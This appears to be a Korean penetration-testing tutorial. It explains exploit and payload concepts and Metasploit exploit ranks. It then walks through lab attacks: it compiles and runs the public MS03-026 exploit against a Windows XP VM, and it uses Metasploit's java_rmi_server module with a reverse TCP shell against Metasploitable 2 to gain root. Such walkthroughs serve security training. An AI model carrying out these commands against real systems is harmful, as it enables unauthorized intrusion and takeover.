(1) Exploit(n) : 컴퓨터 소프트웨어나 하드웨어에 의도치 않은 행동이 발생하도록 취약점(vulnerability)를 이용하는 소프트웨어의 한 종류.
즉, 컴퓨터 시스템에의 공격을 뜻한다.
→ 결과적으로는 권한을 상승시켜 시스템의 제어권을 획득한다.
※ Exploit(v) : 성공적으로 공격을 수행하는 행위
(2) Payload : 맬웨어(malware)의 일종으로, exploit 과정에서 이용된다.
- 타겟에서의 shell을 제공
- 타겟 컴퓨터에 저장된 패스워드에 액세스
- 타겟에 있는 백도어에 액세스
등이 가능하다.
일반적으로 어셈블리어로 구성되어있고, 플랫폼에 의존적이다.
ex) Windows에서 작성된 payload는 Linux에서 사용할 수 없을 수 있다.
(3) Exploit Ranks
- Excellent : exploit이 결코 서비스와 충돌하지 않는다.
- Great : 버전체크 다음 자동으로 적절한 타겟을 검출해낸다.
- Good : 일반적인 케이스에서 좋은 결과를 낸다.
- Normal : 믿을만한 수준. 그러나 자동으로 타겟을 검출해내지는 못한다.
- Average : 썩 괜찮은 수준의 exploit 상대는 아니다.
- Low : exploit에 성공하기는 거의 불가능하다.
- Manual : exploit을 수행하기에 불안정하거나 어렵다. 기본적으로 DoS이다.
일반적으로 Exploit과 Post-Exploit 과정에서 Risk가 가장 크다.
- 어플리케이션끼리의 충돌
- 서버 다운
- 성능 손실
- 구성(구조) 변화
- 기밀정보 누설
- 잊혀진 백도어
위와 같은 리스크들을 완화하기 위해서는 다음에 주의해야한다.
- 현재 기술로 대체할 수 있는 오래된 서비스는 제외한다
- 시간날 때 critical system을 테스트해본다.
- 테스트 환경에서 먼저 Pen Test를 진행해본다
- Pen Test 전에 모니터링 환경을 만들어둔다.
- 자동 테스트를 다시 조정한다
- clean-up 플랜을 세운다.
: Pen Test를 위해 개발된 취약한 소프트웨어와 public exploit의 저장소
가장 유명한 exploit database는 'www.exploit-db.com'이다. 이는 CVE-Compatible Database 이다.
※ CVE : 정보 보안 취약점 표준 코드(Common Vulnerabilities and Exposures). CVE는 알려진 취약점을 식별하는 방식을 표준화하는 데 목적이 있다.
exploit database를 이용해 exploit을 진행해보자.
다음과 같은 순서로 진행된다.
- MS03_026 취약점을 위해 개발된 exploit 코드를 검색한다.
- exploit 코드를 컴파일한다
- exploit을 시행한다.
- 타겟 시스템에 shell을 가진다.
Kali를 실행해 웹브라우저에서 exploit-db.com으로 접속한 뒤 검색창에 ms03_026을 검색한다.
그리고 H D Moore에 의해 개발된 exploit을 선택한다.
Download Code를 눌러 소스코드를 다운받고, Kali 내에 저장한다.
터미널 창을 열어 다운받은 코드를 컴파일해준다.
root@kali:~# cd /home/kali/Downloads
root@kali:/home/kali/Downloads# ls -al
root@kali:/home/kali/Downloads# gcc 66.c -o 66 //66.c는 다운받은 파일
root@kali:/home/kali/Downloads# ls -la
root@kali:/home/kali/Downloads# ./66
root@kali:/home/kali/Downloads# nmap -sV -O [타겟IP] --top-ports 10
※ 타겟 시스템은 Windows XP로 한다.
타겟 ID를 얻기 위해서 Windows XP의 [내 컴퓨터]-[속성]을 확인한다.
root@kali:/home/kali/Downloads# ./66
root@kali:/home/kali/Downloads# ./66 [타겟 ID] [타겟IP]
타겟 시스템의 shell을 얻을 수 있다.
IP를 확인하고, exit을 하면 타겟 시스템인 Windows XP에서 시스템이 crash된 것을 확인할 수 있다. exploit 과정 중에 부작용이 생긴 것이다.
이렇게 부작용이 생길 수 있기 때문에, 실제로 exploit을 실행할 경우에는 테스트 환경에서 먼저 exploit을 수행해 보는 것이 좋다.
앞에서와 같이 manual하게 exploit을 수행하기에는 여러 어려움이 존재한다.
exploit 코드를 직접 찾고, 그 코드를 컴파일 한다. 또, 에러나 버그가 생기면 직접 수정을 해야하고, 알맞은 exploit을 수행하기 위해 타겟 시스템의 버전을 찾아봐야 할 수도 있다. 그리고 exploit 코드가 안정적이지 못할 수 있고, 결정적으로 한번의 exploit에 하나의 payload밖에 사용하지 못한다.
그렇기에, 우리는 Exploit Framework를 사용할 것이다.
Exploit Framework는 Manual Exploitation의 어려움들을 해결해준다.
그 종류로는 Core Imapct, Immunity Canvas, Metasploit 등이 있는데, 우리는 Metasploit을 사용한다.
우리는 Metasploit을 이용해 컴퓨터 시스템의 취약점을 테스트해볼 수도 있고, 원격 시스템에 침입할 수도 있다.
msfconsole을 이용해보자.
우선 각 환경에서의 IP 주소들을 다시한번 확인해본다.
그런 다음 Kali에서 각 IP들에 대해 ping 테스트를 진행한다.
Windows XP를 대상으로 한 ping 테스트는 결과가 제대로 얻어지지 않는 것을 확인할 수 있다.
이런 경우에는 Windows XP 환경에서 Kali를 대상으로 한 ping 테스트를 시도해본다.
잘 연결되어 있다는 것을 확인할 수 있다
그럼 metasploit의 구조를 한번 둘러보자.
※ Modules
- exploit
- payload
- encoder
- auxiliary
- post
- nop
※ Payload modules
- Single
- Stager
- Stage
※ Shell
- bind shell
- reverse shell
Nessus로 찾았던 취약점을 이용하여 Metasploitable 2에 exploit을 수행해보자.
Nessus Scanning 결과에서 RMI Registry Detection 파트를 찾는다.
RMI Registry Detection에 대한 정보를 확인하고, 터미널 창을 연다.
백그라운드에서 타겟 시스템의 오픈포트(Open Ports)를 스캔하는 것은 상당히 좋은 접근법이다.
Nmap을 이용해 포트 스캔을 수행한다.
※ Nmap : 네트워크와 포트 스캐닝에 널리 이용되는 무료 소프트웨어.
root@kali:~# nmap -sV -sS 10.0.2.5
nmap이 위와 같이 오픈포트를 스캔한다.
동시에 새로운 터미널을 열어 msfconsole을 실행한다.
search로 rmi exploit을 서치한다.
search를 이용해 java_rmi에 대한 공격을 찾아보자.
msf> search java_rmi
이것을 우리의 RMI 포트에 사용할 것이다.
msf> use exploit/multi/misc/java_rmi_server
msf5 exploit(multi/misc/java_rmi_server)> show payloads
msf5 exploit(multi/misc/java_rmi_server)> set payload java/shell_reverse_tcp
payload목록을 확인한 뒤, 하나를 골라 우리가 사용할 payload로 지정한다.
msf5 exploit(multi/misc/java_rmi_server)> show options
msf5 exploit(multi/misc/java_rmi_server)> set HTTPDELAY 60
msf5 exploit(multi/misc/java_rmi_server)> set RHOSTS [Metasploitable2 IP]
msf5 exploit(multi/misc/java_rmi_server)> set SRVHOST [Kali IP]
msf5 exploit(multi/misc/java_rmi_server)> set LHOST [Kali IP]
show options를 통해 yes라고 표시된 것들을 직접 지정해준다.
이제 공격을 실행한다.
msf5 exploit(multi/misc/java_rmi_server)> exploit //혹은 run
Meterpreter session 하나가 open되었다는 문구가 뜬다.
>sessions -l //active sessions 확인
>sessions -i 2 //2번 ID인 shell로 exploit
그러면 exploit이 성공하며 root권한을 얻을 수 있다.